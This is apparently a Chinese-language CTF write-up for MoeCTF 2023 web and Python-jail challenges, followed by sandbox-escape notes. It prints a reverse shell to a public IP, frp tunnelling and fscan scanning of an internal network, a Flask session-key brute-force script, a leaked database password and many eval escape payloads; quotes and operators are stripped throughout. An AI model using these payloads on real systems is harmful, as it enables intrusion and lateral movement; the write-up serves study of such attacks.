base64.b64encode 是一个用于对字节数据进行Base64编码的函数。base64.b64decode 是一个用于对Base64编码的数据进行解码的函数。[base64.b64decode] 创建了一个包含base64.b64decode函数的列表。[[0] for base64.b64encode in [base64.b64decode]] 这是一个列表推导式但它的操作看起来没有意义。它遍历[base64.b64decode]列表中的函数然后尝试在每次迭代中使用base64.b64encode作为变量名for base64.b64encode并且将0放入一个内部列表中。
【这里是对b64encode重新赋值但是赋值前后其实没有变化。出题人说放水了如果他要坑你都话 就改成别的方法 需要分析他是怎么编码的】 最后看第三处ummm...? It looks like its just base64 encoding it 5 times? truely?。
注释写的是编码其实是解码 继续看下去。
我们拿到flag是得在/login路由POST提交参数username和password 我们首先要满足拿flag前的两个if语句分别是用户名不直接等于admin和用户名不等于密码。
满足条件后进一步聚焦到代码片段
hashed gethash(params.get(username), params.get(password))for k, v in hashed_users.items():if hashed v:data {user: k,hash: hashed,flag: FLAG if k admin else flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}}paramsPOST传进来的params参数json形式params参数的值经过了decrypt()函数即五次base64解码值解码后也是json格式。
gethash()获取参数加盐后的哈希值从第二位开始取即去掉哈希值的前两位0x。
hashed存放两个传入变量的哈希值的字典。
hashed_users.items()hashed_users dict((k, gethash(k, v)) for k, v in users.items())hashed_users.items()的v是users.items()的gethash(k, v)如果users.items()的键值对都是admin的话users.items()的gethash(k, v)就是0hashed_users.items()的v就是0。
kv分别是字典hashed_users.items()的键和值。 回归题目我们的切入点其实很好找。
拿flag前的两个if语句对username限制是直接用params.get(username)进行比较的。所以我们肯定不能直接传admin。
拿flag时判断条件是k admin即hashed_users.items()的k即users.items()的k。看上面标黄
前文有提到字典 users 中肯定有一个键值对是adminadmin。 那么对应的hashed_users.items()就是admin0。hashed_users.items()的k已经是admin了我们只需要使得hashed v 0就能拿flag。
payload/login路由下
POST:{params:VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVIaFZiRkpQVTIxR1dWcElRbHBOUjFKSVdsY3hUbVZzY0VsWGJYQnBWbXRhZDFaRVNuZFNhekI1VjJ4S1VWWkVRVGs9}VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVIaFZiRkpQVTIxR1dWcElRbHBOUjFKSVdsY3hUbVZzY0VsWGJYQnBWbXRhZDFaRVNuZFNhekI1VjJ4S1VWWkVRVGs9五次base64解码后是如下可以使得hashed0见 对第一个注释 的分析{username:17,password:17}moeworld【没出】 首先访问http://47.115.201.35:8000/。是个登录界面。 注册一个账号admin以存在注册账号jay17。看见了flask模板和session。考虑以SSTI和JWT伪造两种攻击方式。 SSTI暂时没测出来。 试了一下这里是session不是JWT 密钥来自于app.secret_key This-random-secretKey-you-cant-get os.urandom(2).hex()
本地尝试生成了一下随机的才四位只有数字和小写字母打算爆破。 flask_unsign工具直接爆破
flask-unsign --unsign --cookie eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImpheTE3In0.ZQj_Zg.vyNrx8efut5p4ApQ8uZkSOWuelU没出来但是帮我们解密了 用脚本爆破。
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import syspath wordlist.txtprint(Generating wordlist... )with open(path,w) as f:#permutations with repetition[f.write(This-random-secretKey-you-cant-get .join(x)\n) for x in itertools.product(0123456789abcdefghijklmnopqrstuvwxyz, repeat4)] #加上前缀#url http://47.115.201.35:8000/index
#cookie_tamper r.head(url).cookies.get_dict()[session]
cookie_tampereyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImpheTE3In0.ZQj_Zg.vyNrx8efut5p4ApQ8uZkSOWuelU
print(Got cookie: cookie_tamper)print(Cracker Started...)obj flask_unsign.Cracker(valuecookie_tamper)before time.time()with wordlist(path, parse_linesFalse) as iterator:obj.crack(iterator)secret
if obj.secret:secret obj.secret.decode()print(fFound SECRET_KET {secret} in {time.time()-before} seconds)signer flask_unsign.sign({time:time.time(),authorized:True},secretsecret)得到随机四位密钥7b81密钥是This-random-secretKey-you-cant-get7b81 flask_unsign工具加密伪造的session。
flask-unsign --sign --cookie {power: admin, user: jay} --secret This-random-secretKey-you-cant-get7b81得到伪造的session eyJwb3dlciI6ImFkbWluIiwidXNlciI6ImFkbWluIn0.ZQkiLw.vnwCbJyE472-XWu8NgEhcNhZfUM。 更改session后成功登录admin账号 这时候留言板多了一句语句 进入debug调试路由/console执行任意代码getshell。
os.popen(命令).read()第一部分flagmoectf{Information-leakage-Is-dangerous!
根目录下readme内容 对密码有疑问随时咨询出题人注意请忽略掉xx.xx.xx.1例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 请忽略掉有关192.168.0.1的所有结果此为出题人服务器上的其它正常服务 将你得到的若干个端口号从小到大排序并以 - 分割这一串即为hint.zip压缩包的密码本例中密码为22-8080-9000 10.1.23.23:9000 open 10.1.23.21:8080 open 10.1.11.11:22 open 如果你进行了正确的操作会得到类似下面的结果 你需要了解它的基本用法然后扫描内网的ip段 接下来你需要尝试内网渗透本服务器的/app/tools目录下内置了fscan 恭喜你通过外网渗透拿下了本台服务器的权限 我们首先来查看ip用ipconfig命令。但是题目好像没有这个命令。 没关系我们还可以查看/etc/hosts文件来查看ip。 有两个网卡
172.21.0.3 c27c8878aafc172.20.0.4 c27c8878aafc我们也可以使用命令hostname -i一样的效果。 先弹个shell过来方便操作。
os.popen(bash -c bash -i /dev/tcp/120.46.41.173/9023 01).read()之后用题目提供的fscan扫网卡和端口
cd /app/tools./fscan -h 172.20.0.4/24忽略掉xx.xx.xx.1后开放的端口是8080 6379 3306 22 压缩包hint.zip的密码是22-3306-6379-8080
hint文件内容 当你看到此部分证明你正确的进行了fscan的操作得到了正确的结果 可以看到在本内网下还有另外两台服务器 其中一台开启了22(ssh)和6379(redis)端口 另一台开启了3306(mysql)端口 还有一台正是你访问到的留言板服务 接下来你可能需要搭建代理从而使你的本机能直接访问到内网的服务器 此处可了解nps和frp同样在/app/tools已内置了相应文件 连接代理推荐proxychains 对于mysql服务器你需要找到其账号密码并成功连接在数据库中找到flag2 对于redis服务器你可以学习其相关的渗透技巧从而获取到redis的权限并进一步寻找其getshell的方式最终得到flag3 链接分为正向连接和反向连接正向连接就是攻击者主动去找内网主机但是访问到内网内网都会都会有一个统一的出口当你访问到那个出口了之后就会没办法往下访问了因为往下访问都是172或者是192开头的内网ip。
因为他的那个主机我们要攻击的目标是在内网的所以说需要内网的主机去反向连接我们的机器vps。内网的主机想要连到我们的话我们的IP就必须必须在公网上然后用frp提供一个反向连接的这么一个作用。 frp教程frp配置内网穿透教程超详细-腾讯云开发者社区-腾讯云 (tencent.com)
服务端配置成功后访问frps的后台管理端口成功就是服务端配置好了。 然后先终止frp运行。
ps -aux|grep frp| grep -v grepkill -9 23387然后重新运行
./frps -c frps.ini然后继续配置客户端不用配置/app/tools目录下已经有了 咱们修改一下配置文件就行啦。frpc.ini
# 客户端配置
[common]
server_addr 120.46.41.173 #服务器ip
server_port 7000 # 与frps.ini的bind_port一致
token 9023 # 与frps.ini的token一致[ssh]
type tcp
local_ip 127.0.0.1
local_port 22
remote_port 6000
[mysql]
type tcp
local_ip 127.0.0.1
local_port 3306
remote_port 6001[rdp]
type tcp #类型tcp
local_ip 127.0.0.1 #需要代理出去的ip
local_port 3306 #需要代理出去访问的端口我这里是3306数据库
remote_port 1470 #这里就是转发出去的端口也就是在自己的机器上访问的代理端口 rdp:vps的IP:1470# 配置ssh服务
[ssh]
type tcp
local_ip 127.0.0.1
local_port 22
remote_port 6000 # 这个自定义之后再ssh连接的时候要用# 配置http服务可用于小程序开发、远程调试等如果没有可以不写下面的
[web]
type http
local_ip 127.0.0.1
local_port 8080
subdomain test.hijk.pw # web域名
remote_port 自定义的远程服务器端口例如8080注意[ssh]这样的名称必须全局唯一即就算有多个客户端也只能使用一次其他的可以用[ssh2]、[ssh3]等意思就是说如果你要配置多个客户端必须将另外的客户端的[ssh]改为[ssh2]、[ssh3]等并且remote_port也要变比如60026003等
查看源文件内容
[common]
server_addr x.x.x.x
server_port 7000[plugin_socks5]
type tcp
remote_port 7777
plugin socks5
# plugin_user abc
# plugin_passwd abc替换文件内容命令sed
//将第二行x.x.x.x改成120.46.41.173
sed -i 2s/x\.x\.x\.x/120.46.41.173/ frpc.ini修改文件时发现并没有vi和vim命令。echo 和sed -i权限被限制。
问了一下出题人可以在/tmp目录新建一个。
echo [common]
server_addr 120.46.41.173
server_port 7000
token 9023[ssh]
type tcp
local_ip 127.0.0.1
local_port 22
remote_port 1471[mysql]
type tcp
local_ip 127.0.0.1
local_port 3306
remote_port 1472[plugin_socks5]
type tcp
remote_port 7777
plugin socks5 frpc.ini然后/tmp目录下执行
/app/tools/frpc -c frpc.ini此时frp已经成功将vps的1472端口和内网3306端口、vps的1471端口和内网的22端口搭建起来。但是我们想访问内网某个端口的话还需要流量转发。
流量转发我使用kali自带的proxychains4。先配置一下工具的配置文件。怎么配置参考上文frpc.ini文件中的[plugin_socks5]。
sudo vim /etc/proxychains4.conf连接肯定需要mysql账号密码
cat /app/dataSql.py密码是The_P0sswOrD_Y0u_Nev3r_Kn0w
proxychains4 mysql -h 120.46.41.173 -P 1472 -uroot -pThe_P0sswOrD_Y0u_Nev3r_Kn0wchu0✌的指导 一般要是真实渗透的话你是先找那个跳板机嘛就是它能访问外网同时还可以访问内网的那种机器然后呢拿下跳板直接机之后就可以在内网的机器里面去横向移动横向移动之后就找到那个全线最高的。就是啊那个机器就然后呢就可以控制其他的这个内网电脑的一个权限嘛然后呢拿下那个机器基本上就可以说是拿下内网。 ----------jail【】----------
Jail Level 0
nc连接 nc 192.168.110.254 28974题目描述
您的命令和代码将在受限制的环境中运行您需要找到一种方法绕过受限制的环境来获取flag。代码的功能可能是你可以输入一些算术表达式比如11他会给你2。但你的目标是get flag。
hint
似乎eval函数不安全也许这对你真的很有用https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes这个提示也适用于下面十个挑战
源码
print(Welcome to the MoeCTF2023 Jail challenge.Its time to work on this calc challenge.)
print(Enter your expression and I will evaluate it for you.)
user_input_data input( )
print(calc Answer: {}.format(eval(user_input_data)))第四行有个eval函数参数是我们输入的东西。
那我们直接使用eval执行函数
payload
__import__(os).popen(ls).read()__import__(os).popen(tac flag).read()Jail Level 1
前置步骤同level 0
源码
print(Welcome to the MoeCTF2023 Jail challenge level1.Its time to work on this calc challenge.)
print(Enter your expression and I will evaluate it for you.)
user_input_data input( )
if len(user_input_data)12:print(Oh hacker! Bye~)exit(0)
print(calc Answer: {}.format(eval(user_input_data)))这次对输入长度就行了限制要求小于等于12。
长度限制是12连打开输入流都不够。。。 参考[CISCN 2023 初赛]pyshell通过_不断的进行字符串的叠加再利用eval()进行一些命令的执行。
我们想执行的代码__import__(os).popen(tac flag).read()
payload
__import__
_(os).p
_open(ta
_c flag)
_.read()但是遗憾发现他每次只执行一次就退出了无法就行字符串叠加。 查找我上面的沙盒逃逸笔记还有help()、breakpoint()这两个函数可以使用。
help()函数可以使用但是不能getshell。 breakpoint()函数完全没问题直接getshell。
pauload
第一步()第二步__import__(os).system(cat flag)Jail Level 2
前置步骤同level 0
源码
print(Welcome to the MoeCTF2023 Jail challenge level1.Its time to work on this calc challenge.)
print(Enter your expression and I will evaluate it for you.)
user_input_data input( )
if len(user_input_data)6:print(Oh hacker! Bye~)exit(0)
print(calc Answer: {}.format(eval(user_input_data)))长度限制是12只能使用help()函数了。
这次help()函数可以正常使用了详细请看上文笔记。
payload
步骤一help()
步骤二os
步骤三!sh
步骤四执行命令Jail Level 3
前置步骤同level 0
源码
import re
BANLIST [breakpoint]
BANLIST_WORDS |.join(f({WORD}) for WORD in BANLIST)
print(Welcome to the MoeCTF2023 Jail challenge.Its time to work on this calc challenge.)
print(Enter your expression and I will evaluate it for you.)
user_input_data input( )
if len(user_input_data)12:print(Oh hacker! Bye~)exit(0)
if re.findall(BANLIST_WORDS, user_input_data, re.I):raise Exception(Blacklisted word detected! you are hacker!)
print(Answer result: {}.format(eval(user_input_data)))这次还是限制在12个字符以内但是禁用了字符串breakpoint。re模块一般用于正则匹配
那我们就要想办法绕过过滤。由于breakpoint()函数正好长度是12我们不方便用字符串拼接等操作进行绕过因为绕过操作后payload长度肯定会变长。
这里我们采用unicode 绕过
Python 3 开始支持非ASCII字符的标识符也就是说可以使用 Unicode 字符作为 Python 的变量名函数名等。Python 在解析代码时使用的 Unicode Normalization Form KC (NFKC) 规范化算法这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。 eval val
True breakpoint() ()
True payload
第一步()第二步__import__(os).system(cat flag)Jail Level 4
题目描述这里是level4 他似乎就是一个简单的复读机 我们该如何逃逸他呢 ?_?
前置步骤同level 0
源码做完后得到__import__(os).system(server.py)
print WELCOME
print Welcome to the MoeCTF2023 Jail challenge.This is a repeater and it repeats what you say!
print python verison:2.7
while True:user_input_data input( )print user_input_data直接getshell试试没想到成功了。
payload
__import__(os).system(cat flag)Jail Level 5
题目描述这里是level5 你似乎不能使用一些字符 你有办法解决他们吗
前置步骤同level 0
源码
print(Welcome to the MoeCTF2023 Jail challenge.Its time to work on this calc challenge.)
print(Enter your expression and I will evaluate it for you.)def func_filter(s):not_allowed set(bid)return any(c in not_allowed for c in s)user_input_data input( )
if func_filter(user_input_data):print(Oh hacker! Bye~)exit(0)
if not user_input_data.isascii():print(Sorry we only ascii for this chall!)exit(0)
print(Answer result: {}.format(eval(user_input_data)))过滤了 、、反引号、b 、i、d 同时只能能使用ascii编码内的字符。
我们的目标payload
__import__(os).system(tac flag_9af31874439b2aad)利用ascii编码绕过限制
eval(【payload的ascii编码】)ascii编码脚本
def string_to_chr_ascii(text):chr_ascii_result for char in text:chr_ascii_result chr( str(ord(char)) )return chr_ascii_result.strip( )input_string __import__(os).system(tac flag_9af31874439b2aad)
chr_ascii_encoded string_to_chr_ascii(input_string)
print(ASCII 编码结果:, chr_ascii_encoded)最终payload每个人flag文件名不同
eval(chr(95)chr(95)chr(105)chr(109)chr(112)chr(111)chr(114)chr(116)chr(95)chr(95)chr(40)chr(39)chr(111)chr(115)chr(39)chr(41)chr(46)chr(115)chr(121)chr(115)chr(116)chr(101)chr(109)chr(40)chr(39)chr(116)chr(97)chr(99)chr(32)chr(102)chr(108)chr(97)chr(103)chr(95)chr(57)chr(97)chr(102)chr(51)chr(49)chr(56)chr(55)chr(52)chr(52)chr(51)chr(57)chr(98)chr(50)chr(97)chr(97)chr(100)chr(39)chr(41))Jail Level 6【未出】
题目描述这里是level6 和level5有所不同 不能用的东西似乎更多了
前置步骤同level 0
源码
def func_filter(s):not_allowed set(bic)return any(c in not_allowed for c in s)user_input_data input( )
if func_filter(user_input_data):print(Oh hacker! Bye~)exit(0)
if not user_input_data.isascii():print(Sorry we only ascii for this chall!)exit(0)
print(Answer result: {}.format(eval(user_input_data)))比上题多过滤了一个加号和c不过滤字符d。
Leak Level 0
题目描述欢迎来到m0eLeak 你需要用你的所学来泄露一些特殊的东西 从而进行rce或者其他的操作 这里是level0 非常简单
前置步骤同 jail level 0
源码
fake_key_into_local_but_valid_key_into_remote moectfisbestctfhopeyoulikethatprint(Hey Guys,Welcome to the moeleak challenge.Have fun!.)print(| Options:
| [V]uln
| [B]ackdoor)def func_filter(s):not_allowed set(vvvveeee)return any(c in not_allowed for c in s)while(1):challenge_choice input( ).lower().strip()if challenge_choice v:code input(code )if(len(code)9):print(youre hacker!)exit(0)if func_filter(code):print(Oh hacker! byte~)exit(0)print(eval(code))elif challenge_choice b:print(Please enter the admin key)key input(key )if(key fake_key_into_local_but_valid_key_into_remote):print(Hey Admin,please input your code:)code input(backdoor )print(eval(code))else:print(You should select valid choice!)
思路很简单首先拿到密钥然后用密钥进入admin用户。然后沙盒逃逸执行命令。
可以用globals()来泄露所有全局变量的值。其中就包括key。 得到key是4e86eda06366a131649a4e9be1a9f217。
用密钥进入admin后就可以直接沙盒逃逸了。
payload
__import__(os).popen(ls).read()__import__(os).popen(tac flag).read()Leak Level 1
题目描述这里是level1 比level0多了一些过滤
前置步骤同level 0
源码
fake_key_into_local_but_valid_key_into_remote moectfisbestctfhopeyoulikethat
print(Hey Guys,Welcome to the moeleak challenge.Have fun!.)def func_filter(s):not_allowed set(moe_dbt)return any(c in not_allowed for c in s)
print(| Options:
| [V]uln
| [B]ackdoor)while (1):challenge_choice input( ).lower().strip()if challenge_choice v:code input(code )if (len(code) 6):print(youre hacker!)exit(0)if func_filter(code):print(Oh hacker! byte~)exit(0)print(eval(code))elif challenge_choice b:print(Please enter the admin key)key input(key )if (key fake_key_into_local_but_vailed_key_into_remote):print(Hey Admin,please input your code:)code input(backdoor )print(eval(code))else:print(You should select valid choice!)这次增加了一些过滤无法用globals()来泄露所有全局变量的值。
我们还可以用help()函数。我们之前输入os得到os模块的帮助那么我们如果输入__main__的话就可以得到当前模块的帮助。我们输入__main__之后就返回了当前模块的信息包括全局变量。
由于过滤了字符moe_dbt我们用unicode 编码() 。 所以便可通过这样的方式拿到key的内容。8d3d451fff8457ee50ed8d0f24881eac
用密钥进入admin后就可以直接沙盒逃逸了。
payload
__import__(os).popen(ls).read()__import__(os).popen(tac flag).read()Leak Level 2
题目描述这里是level2 比level1多了一些过滤
前置步骤同level 0
源码
fake_key_into_local_but_valid_key_into_remote moectfisbestctfhopeyoulikethat
print(Hey Guys,Welcome to the moeleak challenge.Have fun!.)def func_filter(s):not_allowed set(dbtaaaaaaaaa!)return any(c in not_allowed for c in s)print(| Options:
| [V]uln
| [B]ackdoor)while (1):challenge_choice input( ).lower().strip()if challenge_choice v:print(you need to )code input(code )if (len(code) 6):print(youre hacker!)exit(0)if func_filter(code):print(Oh hacker! byte~)exit(0)if not code.isascii():print(please use ascii only thanks!)exit(0)print(eval(code))elif challenge_choice b:print(Please enter the admin key)key input(key )if (key fake_key_into_local_but_vailed_key_into_remote):print(Hey Admin,please input your code:)code input(backdoor )print(eval(code))else:print(You should select valid choice!)
和上题相差不大但是这题只允许ascii编码内的字符。unicode 编码() 已经无法使用了。
但是细心一点就会发现这次的过滤对help()不起作用。我们直接输入help()。然后和上题一样就行啦。 密钥是43610e2ef5ee1754b2e73acf35348dd5
用密钥进入admin后就可以直接沙盒逃逸了。
payload
__import__(os).popen(ls).read()__import__(os).popen(tac flag).read()PyRunner!【未出】
题目描述这里有一个“安全”的 Python 代码运行器它只允许执行字节码有 LOAD_CONST, STORE_NAME, RETURN_VALUE 的代码。
前置步骤同level 0
源码
import py_compile
import dis
import six
import base64
import random
import os
import string
import runpyALLOWED_OPCODES [LOAD_CONST, STORE_NAME, RETURN_VALUE]
letters string.ascii_lowercase string.digits
filename .join(random.choice(letters) for _ in range(10))# https://github.com/Gallopsled/pwntools/blob/c72886a9b9/pwnlib/util/safeeval.py#L26-L67
def _get_opcodes(codeobj):if hasattr(dis, get_instructions):return [ins.opcode for ins in dis.get_instructions(codeobj)]i 0opcodes []s codeobj.co_codewhile i len(s):code six.indexbytes(s, i)opcodes.append(code)if code dis.HAVE_ARGUMENT:i 3else:i 1return opcodesdef test_expr(expr, allowed_codes):allowed_codes [dis.opmap[c] for c in allowed_codes if c in dis.opmap]try:c compile(expr, , exec)except SyntaxError:raise ValueError(%r is not a valid expression % expr)codes _get_opcodes(c)for code in codes:if code not in allowed_codes:raise ValueError(opcode %s not allowed % dis.opname[code])return cprint(Welcome to my safe py,can u try to escape it?)
print(pls input your pycode(base64ed))
base64_code input( )
base64_decode_code base64.b64decode(base64_code).decode()
test_expr(base64_decode_code, ALLOWED_OPCODES)
filename .py
tmp_dir /tmp
file_path os.path.join(tmp_dir, filename)
with open(file_path, w) as file:file.write(base64_decode_code)
print(Execute it....)
runpy.run_path(py_compile.compile(file_path))python 沙盒逃逸
原理
沙箱是一种安全机制用于在受限制的环境中运行未信任的程序或代码。它的主要目的是防止这些程序或代码影响宿主系统或者访问非授权的数据。
在 Python 中沙箱主要用于限制 Python 代码的能力例如阻止其访问文件系统、网络或者限制其使用的系统资源。
Python 沙箱的实现方式有多种包括使用 Python 的内置功能如re模块使用特殊的 Python 解释器如PyPy或者使用第三方库如RestrictedPython。但 Python 的标准库和语言特性提供了相当多的可以用于逃逸沙箱的方法因此在实践中创建一个完全安全的 Python 沙箱非常困难。
python沙盒逃逸其实就是如何通过绕过限制拿到出题人或者安全运维人员不想让我们拿到的”危险函数”或者绕过Python终端达到命令执行的效果。
从这个角度来讲沙盒逃逸本身就像是sql注入在被过滤的剩余字符中通过骚操作来执行不该被执行的命令一样。
关于查看目标主机是否为docker
cat /proc/self/cgroupmount -v 任意执行命令
函数和模块
import 函数
__import__(os).system(dir)os 模块
很少不被禁不然很容易被利用getshell 官方文档 https://docs.python.org/2/library/os.html
import osos.system(/bin/sh)os.popen(/bin/sh)import osos.system(/bin/sh)
$ cat /flag
flag{xxxxxxxxxxx}exec eval 函数
两个执行函数。
eval(__import__(os).system(dir))exec(__import__(os).system(dir))eval(__import__(os).system(/bin/sh))
$ cat /flag
flag{xxxxxxxxxxx}execfile 函数
执行文件主要用于引入模块来执行命令 python3不存在 timeit 函数 from timeit 模块
import timeit
timeit.timeit(__import__(os).system(dir),number1)import timeittimeit.timeit(__import__(os).system(sh),number1)
$ cat /flag
flag{xxxxxxxxxxx}platform 模块
platform提供了很多方法去获取操作系统的信息popen函数可以执行任意命令
import platform
print platform.popen(dir).read()import platform print platform.popen(dir).read()
jail.pycommands 模块
依旧可以用来执行部分指令貌似不可以拿shell但其他的很多都可以
import commands
print commands.getoutput(dir)
print commands.getstatusoutput(dir)import commandsprint commands.getoutput(dir)
flag jail.pyprint commands.getstatusoutput(dir)
(0, flag jail.py)subprocess模块
shellTrue 命令本身被bash启动支持shell启动否则不支持
import subprocess
subprocess.call([ls],shellTrue)import subprocesssubprocess.call([ls],shellTrue)
flag jail.pycompile 函数
菜鸟http://www.runoob.com/python/python-func-compile.html f修饰符
python 3.6加上的新特性用f、F修饰的字符串可以执行代码。
f{__import__(os).system(ls)}sys模块
关于python内部查看版本号可以使用sys模块 import sysprint sys.version
2.7.12 (default, Nov 12 2018, 14:36:49)
[GCC 5.4.0 20160609]文件操作
file 函数
file(flag.txt).read()open 函数
open(flag.txt).read()codecs模块
import codecs
codecs.open(test.txt).read()Filetype 函数 from types 模块
可以用来读取文件
import types
print types.FileType(flag).read()import typesprint types.FileType(flag).read()
flag_here绕过检查
import / os 引入
使用内联函数
import函数
import函数本身是用来动态的导入模块比如import(module) 或者 import module
a __import__(bf.decode(rot_13)) //os
a.system(sh)importlib库
import importlib
a importlib.import_module(bf.decode(rot_13)) //os
a.system(sh)builtins函数
使用 python 内置函数 builtins (该函数模块中的函数都被自动引入不需要再单独引入) , dir(builtins) 查看剩余可用内置函数 dir(__builtins__)
[ArithmeticError, AssertionError, AttributeError, BaseException, BufferError, BytesWarning, DeprecationWarning, EOFError, Ellipsis, EnvironmentError, Exception, False, FloatingPointError, FutureWarning, GeneratorExit, IOError, ImportError, ImportWarning, IndentationError, IndexError, KeyError, KeyboardInterrupt, LookupError, MemoryError, NameError, None, NotImplemented, NotImplementedError, OSError, OverflowError, PendingDeprecationWarning, ReferenceError, RuntimeError, RuntimeWarning, StandardError, StopIteration, SyntaxError, SyntaxWarning, SystemError, SystemExit, TabError, True, TypeError, UnboundLocalError, UnicodeDecodeError, UnicodeEncodeError, UnicodeError, UnicodeTranslateError, UnicodeWarning, UserWarning, ValueError, Warning, ZeroDivisionError, __debug__, __doc__, __import__, __name__, __package__, abs, all, any, apply, basestring, bin, bool, buffer, bytearray, bytes, callable, chr, classmethod, cmp, coerce, compile, complex, copyright, credits, delattr, dict, dir, divmod, enumerate, eval, execfile, exit, file, filter, float, format, frozenset, getattr, globals, hasattr, hash, help, hex, id, input, int, intern, isinstance, issubclass, iter, len, license, list, locals, long, map, max, memoryview, min, next, object, oct, open, ord, pow, print, property, quit, range, raw_input, reduce, reload, repr, reversed, round, set, setattr, slice, sorted, staticmethod, str, sum, super, tuple, type, unichr, unicode, vars, xrange, zip]这里是在没有禁用函数时的情况 可以看到里面有一些一般不会禁用的函数比如说对文件的操作函数 openintchr等还有dict函数
一个模块对象有一个由字典对象实现的命名空间属性引用被转换为这个字典中的查找例如m.x等同于m.dict[“x”],我们就可以用一些编码来绕过字符明文检测。
所以可以有
__builtins__.__dict__[X19pbXBvcnRfXw.decode(base64)](b3M.decode(base64)).system(sh) 等同于
__builtins__.__dict__[_import__](os).system(sh)路径引入os等模块
因为一般都是禁止引入敏感包当禁用os时实际上就是 sys.modules[‘os’]None
而因为一般的类linux系统的python os路径都是/usr/lib/python2.7/os.py ,所以可以通过路径引入
import sys
sys.modules[os]/usr/lib/python2.7/os.pyreload
禁止引用某些函数时可能会删除掉一些函数的引用,比如
del __builtins__.__dict__[__import__]这样就无法再引入但是我们可以用 reload(builtins) 重载builtins模块恢复内置函数
但是reload本身也是builtins模块的函数其本身也可能会被禁掉
在可以引用包的情况下我们还可以使用imp模块
import __builtins__
import imp
imp.reload(__builtin__)这样就可以得到完整的builtins模块了需要注意的是需要先import builtins ,如果不写的话虽然builtins模块已经被引入但是它实际上是不可见的即它仍然无法被找到,这里是这么说的 引入imp模块的reload函数能够生效的前提是在最开始有这样的程序语句import builtins这个import的意义并不是把内建模块加载到内存中因为内建早已经被加载了它仅仅是让内建模块名在该作用域中可见。 再如果imp的reload被禁用掉呢同时禁用掉路径引入需要的sys模块呢 可以尝试上面的execfile()函数,或者open函数打开文件exec执行代码
execfile(/usr/lib/python2.7/os.py)函数名字符串扫描过滤的绕过
假如沙箱本身不是通过对包的限制而是扫描函数字符串关键码等等来过滤的而关键字和函数没有办法直接用字符串相关的编码或解密操作
这里就可以使用 getattr 、__getattribute__
getattr(__import__(os),flfgrz.encode(rot13))(ls)getattr(__import__(os),metsys[::-1])(ls)__import__(os).__getattribute__(metsys[::-1])(ls)__import__(os).__getattribute__(flfgrz.encode(rot13))(ls)runoob http://www.runoob.com/python/python-func-getattr.html 如果某个类定义了 getattr() 方法Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color x.color 将 不会 调用x.getattr(‘color’)而只会返回 x.color 已定义好的值。 如果某个类定义了 getattribute() 方法在 每次引用属性或方法名称时 Python 都调用它特殊方法名称除外因为那样将会导致讨厌的无限循环。 绕过删除模块或方法
在一些沙箱中可能会对某些模块或者模块的某些方法使用 del 关键字进行删除。 例如删除 builtins 模块的 eval 方法。 __builtins__.__dict__[eval]
built-in function evaldel __builtins__.__dict__[eval]__builtins__.__dict__[eval]
Traceback (most recent call last):File stdin, line 1, in module
KeyError: evalreload 重新加载
reload 函数可以重新加载模块这样被删除的函数能被重新加载 __builtins__.__dict__[eval]
built-in function evaldel __builtins__.__dict__[eval]__builtins__.__dict__[eval]
Traceback (most recent call last):File stdin, line 1, in module
KeyError: evalreload(__builtins__)
module __builtin__ (built-in)__builtins__.__dict__[eval]
built-in function eval 在 Python 3 中reload() 函数被移动到 importlib 模块中所以如果要使用 reload() 函数需要先导入 importlib 模块。
恢复 sys.modules
一些过滤中可能将 sys.modules[os] 进行修改,这个时候即使将 os 模块导入进来,也是无法使用的. sys.modules[os] not allowed__import__(os).system(ls)
Traceback (most recent call last):File stdin, line 1, in module
AttributeError: str object has no attribute system由于很多别的命令执行库也使用到了 os,因此也会受到相应的影响,例如 subprocess __import__(subprocess).Popen(whoami, shellTrue)
Traceback (most recent call last):File stdin, line 1, in moduleFile /home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py, line 688, in moduleclass Popen(object):File /home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py, line 1708, in Popendef _handle_exitstatus(self, sts, _WIFSIGNALEDos.WIFSIGNALED,
AttributeError: str object has no attribute WIFSIGNALED由于 import 导入模块时会检查 sys.modules 中是否已经有这个类如果有则不加载,没有则加载.因此我们只需要将 os 模块删除,然后再次导入即可。
sys.modules[os] not alloweddel sys.modules[os]
import os
os.system(ls)基于继承链获取
在清空了 __builtins__的情况下我们也可以通过索引 subclasses 来找到这些内建函数。
# 根据环境找到 bytes 的索引此处为 5().__class__.__base__.__subclasses__()[5]
class bytesobject 命令引入执行
object 类中集成了很多基础函数我们也可以用object来进行调用的操作
对于字符串对象 ().__class__.__bases__
(type object,)通过base方法可以获取上一层继承关系 ().__class__.__bases__[0]
type object通过mro方法获取继承关系
所以最常见的创建object对象的方法 .__class__.__mro__
(type str, type basestring, type object) .__class__.__mro__[2]
type object在获取之后返回的是一个元组通过下标subclasses的方法可以获取所有子类的列表。而subclasses()第40个是file类型的object。 ().__class__.__bases__[0].__subclasses__()[40]
type file.__class__.__mro__[2].__subclasses__()[40]
type file所以可以读文件
().__class__.__bases__[0].__subclasses__()[40](jail.py).read()
.__class__.__mro__[2].__subclasses__()[40](jail.py).read()同时写文件或执行任意命令
().__class__.__bases__[0].__subclasses__()[40](jail.py,w).write(1111)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13][eval](__import__(os).popen(jail.py).read() )可以执行命令寻找subclasses下引入过os模块的模块 [].__class__.__base__.__subclasses__()[76].__init__.__globals__[os]
module os from /usr/lib/python2.7/os.pyc[].__class__.__base__.__subclasses__()[71].__init__.__globals__[os]
module os from /usr/lib/python2.7/os.pyc.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[os]
module os from /usr/lib/python2.7/os.pyc绕过基于字符串匹配的过滤
字符串变换
字符串拼接
在我们的 payload 中例如如下的 payload__builtins__ file 这些字符串如果被过滤了就可以使用字符串变换的方式进行绕过。
